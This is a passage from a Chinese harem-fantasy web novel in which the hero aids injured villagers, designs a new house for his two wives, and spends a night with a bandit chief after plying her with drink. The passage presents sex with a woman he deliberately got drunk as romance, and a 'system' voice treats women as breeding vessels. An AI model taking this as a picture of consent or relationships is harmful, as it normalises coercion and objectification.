可当她们看清是江夜时,那份惊惧又迅速化为浓浓的依赖,小脸在他胸膛上蹭了蹭,不愿离开。
“别怕,洗个澡,把晦气都洗掉。”江夜的声音低沉而沙哑,带着令人心安的力量。
他将姐妹俩轻轻放入浴桶中。
温热的水瞬间包裹了她们冰冷的身子,那份从骨子里透出的寒意,终于被驱散了些许。
水汽蒸腾,姐妹俩那绝美的容颜在雾气中若隐若现,长发如墨,漂浮在水面上,凝脂般的肌肤在水中白得晃眼。因怀着身孕而愈发丰腴的曲线,玲珑起伏,宛如上天最完美的杰作。
江夜亲自拿起布巾,为她们擦拭身体。
当布巾划过白梦夏雪白的藕臂时,一道刺眼的红痕赫然出现。
那是被粗麻绳狠狠勒出来的伤痕,已经有些破皮,在白皙的肌肤上显得格外狰狞。
不止是手臂,她们的皓腕、脚踝,凡是被捆绑过的地方,都留下了这样的印记。
江夜擦拭的动作猛地一顿。
那双刚刚还满是温柔的眸子,瞬间闪过一抹骇人的猩红杀意,下颌线绷得死紧。
随即,那抹杀意又被更深沉的心疼和自责所取代。
他手上的力道放得更轻了,仿佛在触碰一件稀世珍宝。
“夫君……”白梦夏感受到了他情绪的变化,声音细若蚊蚋,带着一丝颤抖。
“嗯。”江夜应了一声,喉结不自觉地滚动了一下。
“没事,我不疼……”
浴桶里的水温,随着火光不断升高。
暧昧的气息在水汽中悄然弥漫。
姐妹俩被他温柔地伺候着,羞得抬不起头,雪白的肌肤泛起动人的粉色,那双水汪汪的眸子,含羞带怯地望着他,充满了全然的信任和依赖。
江夜深吸一口气,强行将那股燥热压了下去。
她们还怀着身孕,又受了天大的惊吓,现在不是胡闹的时候。
仔细为两人洗净了身体,江夜找出自己干净的寝衣,为她们一一穿上。宽大的衣衫套在她们娇小的身躯上,更显得楚楚可怜。
他再次将两人抱起,回到里屋,将她们稳稳地放在床上,拉过被子盖好。
白梦秋小猫似的往他怀里钻了钻,小手紧紧抓着他的衣襟,仿佛抓着救命的稻草。白梦夏也靠了过来,将小脸贴在他坚实的臂膀上。
劫后余生的巨大疲惫感,混杂着前所未有的安全感,如潮水般袭来。
被男人熟悉的气息包裹着,姐妹俩紧绷了一晚上的神经终于彻底松懈,很快便沉沉睡去,嘴角甚至还带着一丝安心的浅笑。
江夜静静地看着她们恬静的睡颜,良久,才小心翼翼地抽出自己的胳膊。
他站起身,走到院子中央那个巨大的包裹前,将其解开。
金银珠宝在月光下闪着光,但他看都未看。他从中挑出几根品相最好、参须完整的百年野山参,用布包好。然后又抓了两大把银锭,装进一个布袋。
做完这一切,他又从角落里拖出前一天打的野猪尸体,手起刀落,割下两条最肥美的后腿肉,加起来足有四五十斤。
他提着东西,转身走出了院子。
……
夜色深沉,江峰家的土坯房里,却还亮着一豆昏黄的油灯。
昏黄的灯光在桌上跳动,将屋子里的愁云惨雾照得愈发浓重。
木床上,江峰赤着上身,趴在床上。原本结实的后背上,青一道紫一道,几道深色的脚印触目惊心。
王慧慧眼圈红肿,手里拿着一卷还算干净的布条,正小心翼翼地给趴在床上的江峰处理着后背的伤口。
烈酒一沾皮肉,江峰疼得倒吸一口凉气,肌肉瞬间绷紧。
“疼?现在知道疼了?”王慧慧手上动作没停,嘴里却骂咧咧地念叨起来,“逞什么能?啊?人家是几十个**不眨眼的山匪,你就拿个破猎叉往上冲!你当你是天王老子下凡啊?”
“你**倒是干净了!我跟琼琼怎么办?啊?你让我们娘俩喝西北风去?”
她一边骂,一边手上的力道却放得更轻了,生怕弄疼了丈夫。骂着骂着,眼圈就红了,声音也带上了哭腔。
“你说你……你就是个死脑筋!他江夜是成年人了,不是三岁小孩,用得着你天天跟在屁股后面操心吗?为了他那两个媳妇,你把命搭进去值得吗?”
“我……我能眼睁睁看着他们把弟妹抓走吗?”江峰把脸埋在枕头里,声音闷闷的,充满了懊悔和无力,“都怪我没用……护不住他们……”
“你有个屁用!”王慧慧一听这话,气不打一处来,“还有你那个好弟弟!也是个疯子!一个人就敢追上去,他以为他是谁?山神老爷吗?黑风寨是什么地方?那是**不吐骨头的狼窝!”
她越说越气,越说越怕,手里的布条都攥紧了,最后索性一扔,蹲在地上,用手捂住脸,压抑的哭声从指缝里漏了出来。
“这下好了……家被砸了,人也没了……江家……江家这是要绝后啊……”
江峰听着妻子的哭骂,心里也是一阵绞痛。他挣扎着想翻身安慰,却牵动了伤口,疼得倒吸一口凉气。
“慧慧,你别……别这么说二弟……他……”
他话还没说完。
“吱呀——”
那扇破旧的木门,被人从外面一把推开。
冷风夹杂着浓重的血腥味,瞬间灌满了整个屋子。
哭声戛然而止。
王慧慧和江峰夫妻俩,如同被施了定身法,猛地抬头朝门口望去。
门口,月光下,站着一道熟悉又陌生的身影。
是江夜。
月光下,江夜提着一大堆东西,沉默地站在那里。
夫妻俩彻底呆住了。
王慧慧捂着嘴,瞪大了眼睛,脑子里一片空白。江峰更是挣扎着想要坐起来,却扯动了满
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身的伤,疼得他龇牙咧嘴。
“二……二弟?”江峰的声音沙哑干涩,充满了不敢置信。
江夜的目光从两人身上扫过,眼底满是愧疚。
他迈步走了进来,将手里的东西放在了桌上,发出了一声响。
这才将王慧慧惊醒。
她看清了江夜,看清了他还活着,那颗悬到嗓子眼的心猛地落回肚子里。一股难以言喻的酸楚和后怕涌上心头,她张嘴就想骂。
可话还没出口,她的目光就**夜扔在桌上的东西给吸引住了,后面的话,硬生生卡在了喉咙里。
那是什么?
好大一块肉!
两条肥硕的猪后腿,带着皮,肥瘦相间,加起来怕不是有几十斤重!这年头,过年都未必能见着这么大块的肉!
肉的旁边,是一个鼓鼓囊囊的布袋,袋口没扎紧,黄白之物在昏暗的灯光下闪着诱人的光泽。
是银子!
那一大袋子,沉甸甸的,少说也有十几两!
而在银子旁边,用一块干净的布包着的,是几根品相完整、参须密布的老山参。那股隔着布都能闻到的浓郁药香,无声地诉说着它们的价值。
王慧慧的嘴巴,越张越大。
她看看那肉,看看那银子,又看看那几根一看就价值连城的野山参,最后,目光呆滞地抬起头,看向江夜。
这个……这个还是那个好吃懒做,隔三差五就要从自家拿点米面接济的二叔子吗?
江夜没有理会嫂子那副见了鬼的表情,他走到床边,看着江峰背上的伤,眼神一沉。
“哥,我来晚了。”
一句简单的话,让江峰这个七尺高的汉子,眼眶瞬间就红了。
他不是因为那些钱,也不是因为那些肉。
而是因为,他的弟弟,真的从**的狼窝里,活着回来了。
“弟妹她们没事吧?”
江夜摇了摇头。
“回来就好……回来就好……”江峰用力拍了拍江夜的肩膀,力气大得像是要把他揉进自己身体里,声音哽咽,再说不出一个字。
江夜反手拍了拍哥哥的手背,声音沉稳。
“哥,这人参你留着,每天切一片含着,能补元气。这些银子你也拿着,先把伤养好,别再进山了。家里被砸的东西,都重新置办。”
他说着,直起身,看了一眼还愣在原地的王慧慧。
“嫂子,我哥就交给你了。”
说完,他没再多言,转身便向门外走去。
直到江夜的背影消失在门外,王慧慧才如梦初醒。
她看着地上的东西,又看看床上激动得说不出话的丈夫,鼻子一酸,眼泪“唰”地一下就流了出来。
她快步走到门口,看着江夜那被月光拉得长长的背影,嘴唇动了动,想喊住他,却又不知道该说什么。
最终,她只是靠在门框上,用自己才能听见的声音,带着浓浓的哭腔,低声嘟囔了一句。
“算……算你这臭小子还有点良心……”
“下次……下次再敢这么吓人……我……我饶不了你……”
后面的话,已经消散在压抑的哽咽声中。
第32章 有眼不识泰山
王囤家,愁云惨雾。
屋子里弥漫着一股廉价草药和血腥味混合的怪味,昏暗的油灯下,几道人影被拉得歪歪斜斜。
“唉……”
一声长长的叹息,打破了压抑的死寂。
村里的赤脚医生王老根,松开搭在王囤手腕上的手指,满是褶子的老脸拧成了一团,对着旁边满脸焦急的林秀芬摇了摇头。
“伤得不轻,肋骨断了两根,手骨也裂了。这都是外伤,没伤到五脏六腑,已经是他命大。”
林秀芬和旁边的小女儿王小草闻言,脸上刚刚升起的一丝希望瞬间破灭。
王老根顿了顿,叹着气又补了一句:“伤筋动骨一百天,这药……可得好生养着,花销不是个小数目。”
不是小数目。
这五个字,对于这个早已揭不开锅的家来说,无异于宣判了**。
“哇——”
林秀芬再也绷不住,一屁股瘫坐在冰冷的泥地上,拍着大腿嚎啕大哭起来。
“我这是造了什么孽啊!你个不省心的东西,逞什么英雄!人家江夜家有钱有肉,用得着你个穷光蛋去出头吗?现在好了,你塌在床上了,让我跟你妹子可怎么活啊!呜呜呜……老天爷啊,你不开眼啊!”
她哭得撕心裂肺,骂得也真心实意。不是不心疼儿子,是更害怕儿子就这么废了,这个家就彻底完了。
床上的王囤,脸色惨白如纸,额头上全是冷汗。他听着母亲的哭骂,嘴唇动了动,想说什么,却疼得一个字都说不出来,只能绝望地闭上了眼。
十岁的王小草吓坏了,不敢大声哭,只是蹲在母亲身边,用小手抓着母亲的衣角,眼泪像断了线的珠子,无声地往下掉。
王老根看着这一幕,又是叹了口气,默默地收拾着自己的药箱,也不知道该如何安慰。
“吱呀——”
就在这时,那扇破旧的木门,被人从外面一把推开。
哭声,戛然而止。
屋里的三个人,包括床上的王囤,全都齐刷刷地朝门口望去。
门口,月光勾勒出一道高大挺拔的身影。
是江夜。
林秀芬看着他,脑子里一片空白。王老根也愣住了,手里的药箱都忘了放下。
江夜没有说话,面无表情地走了进来。
他径直走到那张缺了一条腿的破桌子前,将手里的东西一一放下。
一大块还带着血丝的猪后腿肉被扔在桌上,肥瘦相间,少说也有十几斤。
紧接着是一个沉甸甸的布袋被放下,袋口没扎紧,几块银锭子滚了出来,在昏黄的油灯下闪着刺眼的光。
最后,他将一个用布细心包裹的东西,轻轻放在了银子旁边。
屋子里,死一般的寂静。
林秀芬和王小草的眼睛,直勾勾地盯着桌上的东西,嘴巴越张越大,大脑一片空白,几乎忘了如何呼吸。
肉……还有……银子?
这么多?
王老根的目光,却死死地锁在了那个布包上。作为一个行医几十年的赤脚医生,一股浓郁到极致的药香,正疯狂地刺激着他的嗅觉。
他像是被什么东西勾住了魂,脚步有些虚浮地走了过去,伸出微微颤抖的手,小心翼翼地揭开了那层布。
布匹揭开的瞬间,一株形态完整、参须密布、通体泛着淡淡黄色的老山参,静静地躺在那里。
“这……这是……”王老根的眼珠子瞬间瞪得滚圆,瞳孔缩成了针尖大小,呼吸都停滞了。
他猛地倒吸一口凉气,声音因为极致的激动而变得尖锐扭曲。
“老天爷!是……是百年野山参!还是整支的!参须……参须都没断几根!”
他像
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是捧着稀世珍宝一般,双手颤抖地将那根人参捧了起来,凑到眼前,翻来覆去地看,嘴里语无伦次地念叨着。
“这是参王……真是神物啊!这一支参,别说治好王囤的伤,就是吊着将死之人的命,都能吊上十天半个月!这是有价无市的宝贝啊!”
江夜没有理会王老根的失态,他走到床边,看着脸色惨白的王囤,沉声开口。
“安心养伤。”
他又看了一眼旁边已经彻底石化的王老根。
“用最好的药,钱不够,再来找我。”
王囤挣扎着,想要撑起上半身,一双眼睛因为激动而涨得通红:“江夜兄弟……这……这使不得……我……”
“躺好。”
江夜伸出手,在他肩膀上轻轻一按,一股不容置疑的力道传来,王囤便再也起不来了。
“扑通!”
一声闷响,林秀芬终于从巨大的震撼中反应过来。她二话不说,双膝一软,竟直挺挺地朝着江夜跪了下去,一边磕头一边语无伦次地哭喊。
“江夜大兄弟……是我老婆子有眼不识泰山,是我狗嘴里吐不出**!我……我给你磕头了!你就是我们家的大恩人啊!是我们全家的救命恩人啊!”
“嫂子,快起来。”
江夜皱了皱眉,上前一步,将她扶了起来,“王囤是为了我家的事才受的伤,这是他该得的。”
“以后你们家有什么难事,都可以来找我。”
说完,他不再多言,转身便向门外走去。
直到江夜的背影彻底消失在夜色中,屋子里的三个人才仿佛如梦初醒。
他们看着桌上那堆积如山的肉和银子,闻着空气中那浓郁提神的参香,再看看床上满眼泪水的王囤,恍如隔世。
刚刚还是愁云惨雾的人间地狱,转眼间,已是天堂。
第33章 我们的新家
第二天,天光大亮。
阳光透过破败的窗棂和墙壁缝隙,在屋里投下斑驳的光点。
昨天的杀戮与惊恐,仿佛一场遥远而狰狞的噩梦。
姐妹俩早已醒来,经历过昨天那惊心动魄的一遭,她们像是受惊的小鸟,寸步不离地跟在江夜身后。
他扫地,她们就帮忙把碎木块捡起来;他擦桌子,她们就递上干净的布。
虽然什么都没说,但这种无声的陪伴,却让这个破败的家重新有了温度。
角落的草窝里,那只被踢得奄奄一息的小狼崽,此刻正蜷在白梦秋的怀里,小脑袋一下一下地蹭着她柔软的掌心。
它身上的伤口已经被重新处理过,还喝了一小碗温热的肉汤,精神头明显好了许多。那双乌溜溜的眼睛里,不再是虚弱和戒备,而是满满的依赖和亲昵。
白梦秋伸出纤纤玉指,轻轻挠着小家伙的下巴,小狼崽舒服地眯起眼睛,发出满足的“呜呜”声。
劫后余生的阳光,显得格外温暖。少女的脸上,终于褪去了煞白,重新染上一抹动人的红晕。
“给它取个名字吧。”江夜看着一人一狼亲昵的模样,笑了笑。
白梦秋歪着头想了想,看着小狼崽胖乎乎、毛茸茸的样子,眼睛一亮:“它长得圆滚滚的,像个小团子,就叫团子好不好?”
“团子?”江夜念了一遍,点点头,“好,就叫团子。”
安逸的时光总是短暂,江夜看着漏风的墙壁,又看了看身旁两个娇弱的妻子,盖房子的念头再次变得无比迫切。
他翻出几张白纸,又寻来一根烧剩下的炭笔,在姐妹俩好奇的目光中,闭上了眼睛。
一瞬间,神级工匠技艺发动。
无数精妙绝伦的建筑图纸、巧夺天工的机关构造、鬼斧神工的木工技巧,如同奔腾的江河,在他脑海中汇聚、演化、最终凝聚成一幅完美的蓝图。
下一刻,江夜睁开眼。
他动了。
那只握着炭笔的手,仿佛拥有了自己的生命。
“唰唰唰——”
炭笔在白纸上飞速移动,带出一连串令人眼花缭乱的残影。
没有草稿,没有犹豫,没有片刻的停顿。
一道道笔直的线条,一个个精准的圆弧,一个个繁复却清晰的结构,行云流水般在纸上呈现。
白梦夏和白梦秋姐妹俩,原本还带着好奇的微笑,可看着看着,她们脸上的笑容便渐渐凝固,取而代之的是越来越深的震惊。
她们从未见过有人能这样画图。
那不是画,倒像是在用某种神秘的法术,将一座本就存在于世间的仙家府邸,一点点地从虚空中召唤到纸面上。
不过一炷香的工夫,江夜停下了笔。
一张她们闻所未闻、见所未见的房屋图纸,完整地呈现在眼前。
那是一座带前后院落的二层小楼。
青瓦飞檐,斗拱交错,线条流畅而大气。楼下是宽敞的正厅、厨房和两间客房,楼上则是三间朝南的卧室,外面还有一圈可以晾晒衣物、观赏风景的游廊。
图纸画得无比精细,小到每一扇窗户的雕花样式,大到整个院子的布局,甚至连屋内的桌椅床柜都标注得清清楚楚。在院子的一角,还特意规划出了一片小花园,旁边甚至画着一个秋千架。
“这……这是……”
白梦夏捂住了自己的小嘴,那双温柔的秋水明眸里,此刻写满了难以置信的震撼。
她出身官宦之家,也曾见过不少富丽堂皇的宅院,却从未见过如此精巧别致、又处处透着温馨舒适的设计。
这哪里是乡下的房子,便是州府里的大户人家,也未必有这般气派又舒服的宅子!
白梦秋更是看得小嘴张成了“O”型,一双美眸瞪得滚圆,绕着桌子转来转去,指着图纸上那些她看不懂却觉得很厉害的结构,惊叹连连。
“夫君,这个是什么呀?好漂亮!”
“这个叫飞檐,下雨天雨水不会打到墙上。”江夜笑着解释。
“那这个呢?这个小阁楼是做什么的?”
“那是放杂物的地方,以后你们的胭脂水粉,漂亮衣服,都放里面。”
看着姐
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妹俩那副没见过世面的可爱模样,江夜心中满是爱怜和满足。
他拿起炭笔,在姐妹俩的注视下,又在图纸上添了几笔。
这一次,他画得很慢,很细致。
很快,在院子那个漂亮的秋千架下,出现了一个栩栩如生的女子画像。那女子身姿婀娜,眉眼温柔,正仰头看着天空,嘴角带着一抹恬静的微笑,正是白梦夏。
白梦夏“呀”了一声,俏脸瞬间红透,又惊又喜地看着图纸上的自己,心中像是被灌满了蜜糖,甜得快要化开。
江夜没停,又在旁边的小花园里,画下了另一个少女。那少女正蹲在花丛边,逗弄着一只毛茸茸的小狼崽,笑靥如花,活泼灵动,正是白梦秋和团子。
“呀!还有我!还有团子!”白梦秋惊喜地叫了起来,小脸兴奋得通红,拉着姐姐的衣袖,指着画上的自己,开心得像个孩子。
江夜放下笔,看着这幅充满了生机与温馨的画卷,满意地点了点头。
“喜欢吗?这就是我们未来的新家。”
他的声音像一颗石子,在姐妹俩的心湖里,激起了万丈波澜。
新家……
她们看着图纸上那座漂亮得不像话的房子,看着画中巧笑嫣然的自己,又抬头看看眼前这个顶天立地的男人。
从家破人亡,沦为奴隶,到被他买下,再到昨夜的死里逃生……所有的颠沛流离,所有的恐惧不安,在这一刻,都烟消云散。
这里,就是她们的归宿。
眼前这个男人,就是她们的天。
姐妹俩的眼圈,不约而同地红了。但这一次,不是委屈,不是害怕,而是满溢而出的幸福和感动。
江夜看着她们那副眼泪汪汪、又想哭又想笑的娇憨模样,心中一软,俯下身,在那两张吹弹可破、还带着泪痕的俏脸上,各自“吧唧”亲了一口。
“不许哭,以后要多笑,笑起来才好看。”
突如其来的亲昵,让姐妹俩瞬间羞得双双低下头,脸颊滚烫,连耳根都变成了诱人的粉色,只敢用眼角的余光,偷偷地瞥着他。
第34章 慕容寨主,里面请
下午,日头正暖。
江夜刚把院子里的狼藉收拾出个大概,巷子口就传来一阵喧哗。
“江夜兄弟可在?”
一道清亮又带着几分英气的女声响起。
江夜抬头,只见慕容晴带着四五名手下,抬着几个沉甸甸的大箱子,俏生生地站在门口。
今天的她,没有穿那身火红的劲装,而是换了一身黛蓝色的紧身长裙。裙子裁剪得恰到好处,将她那凹凸有致、充满爆发力的火爆身材勾勒得淋漓尽致。一头乌黑的长发用一根简单的木簪高高束起,露出光洁饱满的额头和雪白修长的脖颈。
那张美艳张扬的脸上未施粉黛,却比任何胭脂水粉都更动人心魄。尤其那双眸子,明亮如星,带着一股不加掩饰的审视和好奇,顾盼之间,英气与媚意交织,形成一种惊心动魄的美。
江夜的目光在她身上停留了一瞬,随即起身迎了上去。
“慕容寨主,里面请。”
白梦夏和白梦秋也好奇地站起身,当看到慕容晴那不同于她们姐妹的、充满侵略性的美时,美眸中都闪过一丝惊艳。
“江夜兄弟,大恩不言谢。”慕容晴对着江夜一抱拳,动作干脆利落,“黑风寨为祸多年,你替我凤啸寨,也替这方圆百里的百姓除了大害。这点薄礼,不成敬意,还望收下。”
她一挥手,身后的手下便将那几个大箱子抬进了院子,打开了箱盖。
一箱是码放整齐的银锭,一箱是各色绸缎布匹,还有一箱,竟是些打造兵器用的上好精铁。
江夜挑了挑眉,倒也没客气。
“寨主有心了。”
就在这时,原本在白梦秋怀里打盹的团子,忽然耸了耸鼻子,睁开了眼。
当它看到站在院中的慕容晴时,那双乌溜溜的眼睛瞬间就亮了。
只见这小家伙“嗖”地一下从白梦秋怀里蹿了出去,迈开四条小短腿,屁颠屁颠地跑到慕容晴脚边,仰着小脑袋,使劲摇着那截短胖的尾巴。
慕容晴一愣,有些好奇地看着这个毛茸茸的小东西。
团子见美女没反应,急了,转身又跑回墙角,在一堆杂草里扒拉了半天,也不知从哪叼来一朵被压得有些蔫巴的黄色小野花。
它叼着花,又一次跑到慕容晴脚边,“啪”地一下把花放在她的绣花鞋上,然后蹲坐下来,歪着脑袋,吐着舌头,一脸“快夸我”的献宝模样。
“扑哧——”
慕容晴看着脚边的小野花和这个活宝似的小狼崽,再也绷不住,那张英气逼人的俏脸瞬间绽放出一个无比灿烂的笑容。
她弯下腰,那惊人的曲线顿时让旁边的江夜都忍不住多看了两眼。
“你这小东西,倒会讨人欢心。”
她伸出玉手,在团子毛茸茸的脑袋上揉了揉。团子舒服地眯起了眼,喉咙里发出“咕噜咕噜”的满足声,小脑袋还在她温软的掌心里使劲蹭了蹭。
白梦夏和白梦秋看着这一幕,都忍不住掩嘴轻笑起来。这个小色狼,见了漂亮姐姐就走不动道了。
院子里的气氛,因这小小的插曲,瞬间变得轻松热络起来。
“来都来了,吃了饭再走。”江夜看着慕容晴那明媚的笑脸,开口邀请道。
慕容晴也是个爽快性子,闻言毫不扭捏,臻首一点:“好!那便叨扰了!”
她回头对手下吩咐了几句,让他们先行回山寨。
很快,夜幕降临。
破败的土坯房里,却摆上了一桌丰盛至极的晚宴。
炙烤得滋滋冒油的虎肉,用浓郁酱汁炖得软烂入味的野猪肉,还有几样清爽可口的素菜,配上新买的烈酒,香气扑鼻。
桌边,江夜和慕容晴喝酒吃菜,白梦夏和白梦秋则安静地在一旁添酒布菜。
“江夜兄弟,我敬你一碗!”慕容晴端起一个粗瓷大碗,里面盛满了琥珀色的酒液,“若不是你,我凤啸寨上下,怕是早已成了黑风寨的刀下亡魂!”
她仰起雪白的脖颈,一碗烈酒,竟是一饮而尽,喝完还豪气地将碗口倒悬,一滴不剩。
“好酒量!”江夜赞了一声,同样端起碗,一饮而尽。
辛辣的酒液入喉,仿佛一线火龙烧进腹中,浑身都变得暖洋洋的。
推杯换盏间,两人谈天说地。
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从山里的奇闻异事,到打猎的技巧,再到弓箭的制作。慕容晴发现,眼前这个男人,仿佛无所不知,无所不晓。无论她说什么,他都能轻松接上,甚至见解比她这个常年混迹山林的人还要独到精辟。
尤其是当她看到江夜那把造型古朴、却散发着淡淡流光的神弓时,那双美眸中的异彩,更是浓得快要溢出来。
不知不觉,几碗烈酒下肚。
慕容晴的酒量虽好,但终究是女儿身,架不住这后劲极大的烈酒。
她那张美艳的俏脸,此刻已是酡红一片,如同染上了最美的晚霞。平日里锐利明亮的眸子,也蒙上了一层水汽,变得迷离而深邃,看人时,带着一股说不清道不明的钩子。
“你……你这弓,到底是怎么做的?”她玉手托着香腮,眼神有些发直地盯着墙角那把铁桦木长弓,舌头都有些大了。
“想学啊?”江夜嘴角一勾,又给她满上一碗酒,“喝完这碗,我就教你。”
慕容晴看着眼前的酒碗,又看看江夜那带着一丝戏谑的笑脸,银牙一咬,端起碗,又是一饮而尽。
放下碗时,她身子都有些晃了。
一旁的白梦夏见状,连忙端上一碗温热的醒酒汤,柔声细语地递了过去:“慕容姐姐,喝点汤润润嗓子吧。”
慕容晴接过汤,看着白梦夏那温柔似水的眼眸,又看了看旁边正安静给炉灶添柴的白梦秋,心中忽然涌起一股莫名的情绪。
这么两个绝色美人,竟心甘情愿地伺候着一个男人,而且看她们的神情,没有半分勉强,全是发自内心的依赖和满足。
这个江夜,到底是个什么样的男人?
她抬起那双迷离的美眸,再次看向江夜。
灯火下,男人侧脸的轮廓分明,眼神深邃,嘴角噙着一抹若有若无的笑意,身上那股混杂着霸道与温柔的独特气息,在酒精的催化下,变得格外醉人。
白梦夏安静地为两人添着酒,眼角的余光瞥见慕容晴那副痴痴的模样,不由得和不远处的妹妹对视了一眼。
姐妹俩的眼中,都带着一丝了然的笑意。
第35章 醉卧美人膝
酒过三巡,桌上的虎骨肉和野猪肉已经见了底,只剩下几坛空空如也的酒坛子,证明着刚才的酒战有多激烈。
慕容晴玉手托着香腮,那张平日里英气逼人的美艳脸庞,此刻已是酡红一片,像熟透了的水蜜桃,轻轻一捏就能掐出水来。
她那双明亮如星的眸子,也蒙上了一层迷离的水雾,舌头已经开始打结,身子也有些摇摇欲坠。
江夜看着她这副娇憨的模样,嘴角忍不住勾起一抹笑意。
看惯了她飒爽英姿的模样,这副醉态朦胧的样子,倒是别有一番风情。
白梦夏和白梦秋姐妹俩早就在一旁候着了。
见酒宴结束,两人默契地对视一眼,便开始手脚麻利地收拾起杯盘碗筷。
姐妹俩端着木盆走到门口,白梦秋却忽然停下脚步,转过身来。
她看了一眼醉眼迷离的慕容晴,又看了一眼好整以暇的江夜,白皙的俏脸上升起两抹动人的红霞。
“夫君,慕容姐姐喝醉了,寨子离得远,今晚怕是回不去了,你……你可要好好照顾她。”
说完,也不等江夜反应,她就拉着姐姐白梦夏的手,一溜烟地跑出了屋子。
“吱呀”一声轻响,那扇破旧的木门被从外面贴心地带上了。
屋子里,瞬间安静下来。
只剩下角落里灶膛中的火苗,在“噼啪”作响,将两人的影子投在墙上,拉长,交织,摇曳不定。
空气中,酒香混合着女人香,仿佛也变成了醉人的**。
气氛,一下子就变得无比暧昧。
慕容晴再迟钝,也明白了那姐妹俩的意思。
她那双迷离的眸子瞬间清明了几分,随即又被更深的慌乱所取代。她下意识地坐直了身子,想说点什么来打破这尴尬,可话到嘴边,却一个字也吐不出来。
平日里那个杀伐果断、英气逼人的凤啸寨寨主,此刻竟像个做错了事的小姑娘,眼神躲闪,双手不安地绞着自己的衣角。
江夜看着她这副与平时截然不同的娇羞模样,只觉得心头一阵火热,忍不住轻笑出声。
这笑声仿佛一根羽毛,轻轻挠在慕容晴的心上,让她本就滚烫的脸颊,更是烧得厉害。
“我……我没醉!”她嘴硬地辩解了一句,声音却软绵绵的,没有半分说服力。
她挣扎着想站起来,证明自己没事,可刚一起身,脚下一软,身子便不受控制地向前倒去。
江夜眼疾手快,长臂一伸,顺势将她捞进了怀里。
温香软玉,满怀馨香。
慕容晴惊呼一声,鼻尖撞上他坚实的胸膛,那股混杂着汗水与阳刚的男子气息,霸道地钻入她的鼻腔,让她的大脑瞬间一片空白,浑身的力气都仿佛被抽干了。
“看,这不就醉了?”江夜低沉的嗓音在她头顶响起,带着一丝戏谑的笑意。
“啊!”
慕容晴惊下意识地挣扎了两下。
可她的那点力气,在江夜那如同铁钳般的臂弯里,与小猫挠痒无异。
挣扎无果,反而让两人贴得更紧。
她能清晰地感受到男人胸膛那坚实滚烫的肌肉,以及那沉稳有力的心跳声。
一股前所未有的羞意和慌乱涌上心头,慕容晴索性放弃了抵抗,认命般地将滚烫的俏脸埋进他宽阔的胸膛里。
怀里抱着温香软玉,江夜心中一阵火热。
这女人,身段当真是一等一的有料。
不同于白梦夏姐妹的温软柔弱,慕容晴的身子,是那种常年习武锻炼出的紧致与弹性,充满了惊人的爆发力,抱在怀里,别有一番滋味。
他低头看了一眼怀中已经彻底变成鸵鸟的美人,能看到的,只有她那羞得快要滴血的粉嫩耳根。
江夜不再犹豫,抱着她,大步走向里屋那张唯一的床铺。
随着他一步步走近,慕容晴的身子也绷得越来越紧,心跳如擂鼓。
她知道接下来会发生什么。
是抗拒?还是顺从?
脑海里闪过黑风寨大厅里,那道如同天神下凡,万军丛中取上将首级的身影。
又闪过他扛着数百斤野猪,轻松写意的雄壮背影。
再闪过饭桌上,他谈笑风生,仿佛无所不知的渊博。
最后,定格在白梦夏姐妹俩那发自内心的幸福和依赖的眼神上。
这个男人,像一个谜,充满了致命的吸引力。
罢了。
自己这条命都是他救的,便是给了他,又如何?
想到这里,慕容晴那紧紧环着他脖子的手臂,似乎又收紧了几分。
江夜将美人轻轻放在床上,看着她那在昏黄灯火下,媚眼如丝,霞飞双颊的绝美模样,心头的火焰,再也压制不住。
他俯下身……
一夜旖旎,红浪翻滚。
直到天光微亮,屋内的风光才渐渐平息。
第二天,天光大亮慕容晴才缓缓睁开了眼。
宿醉后的头痛还未完全消散,但更清晰的,是浑身上下那股酸软无力。
她茫然地眨了眨眼,陌生的房梁,破旧的墙壁……这不是凤啸寨。
记忆像是被撕开的闸口,昨夜的画面汹涌而来。
推杯换盏的豪饮,男人带着戏谑的笑脸,姐妹俩意味深长的眼神,还有……那滚烫的怀抱,霸道的亲吻,以及令人面红耳赤的疯狂……
“轰!”
慕容晴的俏脸瞬间爆红,一直红到了雪白的脖颈根。
她猛地转过头,身侧,江夜正睡得安稳,呼吸均匀,那张轮廓分明的脸上,褪去了白日的霸道与锐利,显得有几分温和。
慕容晴咬着粉润的嘴唇,眼神复杂到了极点。有喝断片的懊恼,有女儿家清白被夺的羞
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愤,但心底深处,却又有一丝食髓知味般的回味。
这个混蛋!
她越想脸越烫,抬起粉拳,就朝着江夜结实的胸膛捶了过去。
可这蓄满怒气的一拳,落在男人身上,却软绵绵的,没有半分力道,倒更像是情人间的撒娇。
江夜的眼皮动了动,睁开了眼。
四目相对。
他看着她那副又羞又恼的娇憨模样,哪里还不明白。
他咧嘴一笑,露出一口白牙,嘿嘿道:“寨主,醒了?”
这一笑,充满了调侃和了然,像一根火柴,瞬间点燃了慕容晴的羞耻心。
“你!”她又捶了他一拳,这一拳比刚才用力了些,但依旧是软绵无力。
就在这时,江夜的脑海中,响起了冰冷的系统提示音。
【叮!检测到宿主与极品鼎炉慕容晴完成双修,但未受孕,暂无奖励。】
【提示:凤鸣之体乃是万中无一的特殊体质,受孕极难,请宿主多多耕耘!】
江夜一愣,随即挑了挑眉,心中了然。
凤鸣之体?受孕极难?
多多耕耘?
江夜挑了挑眉,脑子瞬间转了过来。
原来是稀有品种,难怪系统之前会给出“强烈建议”的提示。
越是难搞的,搞定之后的好处就越大!
一瞬间,江夜再看向怀里美人的眼神,就变了。
那目光,灼热得像是要将人融化,充满了侵略性。
慕容晴被他看得心里发毛,脸颊滚烫,下意识地挣扎起来。
“你……你看什么看!放开我!”
“不放。”江夜嘿嘿一笑,手臂收得更紧,“寨主大人,你昨晚可不是这么说的。”
“我……我那是喝醉了!”慕容晴嘴硬道,声音却越来越小。
江夜也不再逗她,松开了手。
重获自由的慕容晴如蒙大赦,几乎是手脚并用地从床上爬了起来,慌乱地寻找着自己被扔得七零八落的衣物。
江夜则好整以暇地靠在床头,光明正大地欣赏着眼前的美景。
不同于白梦夏姐妹的温软柔美,她的身段,每一寸都充满了惊人的力量感和弹性。
在江夜那毫不掩饰的火热目光注视下,慕容晴只觉得浑身都不自在,她用最快的速度穿戴整齐,重新变回了那个英姿飒爽的凤啸寨寨主。
只是,那从脸颊一直蔓延到雪白脖颈的红晕,以及那双不敢与他对视的躲闪眼眸,都暴露了她内心的不平静。
“我……我寨子里还有事,先走了!”
她走到门口,脚步顿了顿,似乎想说什么,但最终还是什么都没说。
她对着江夜的方向,敷衍地抱了抱拳,算是告辞,然后拉开门,几乎是落荒而逃。
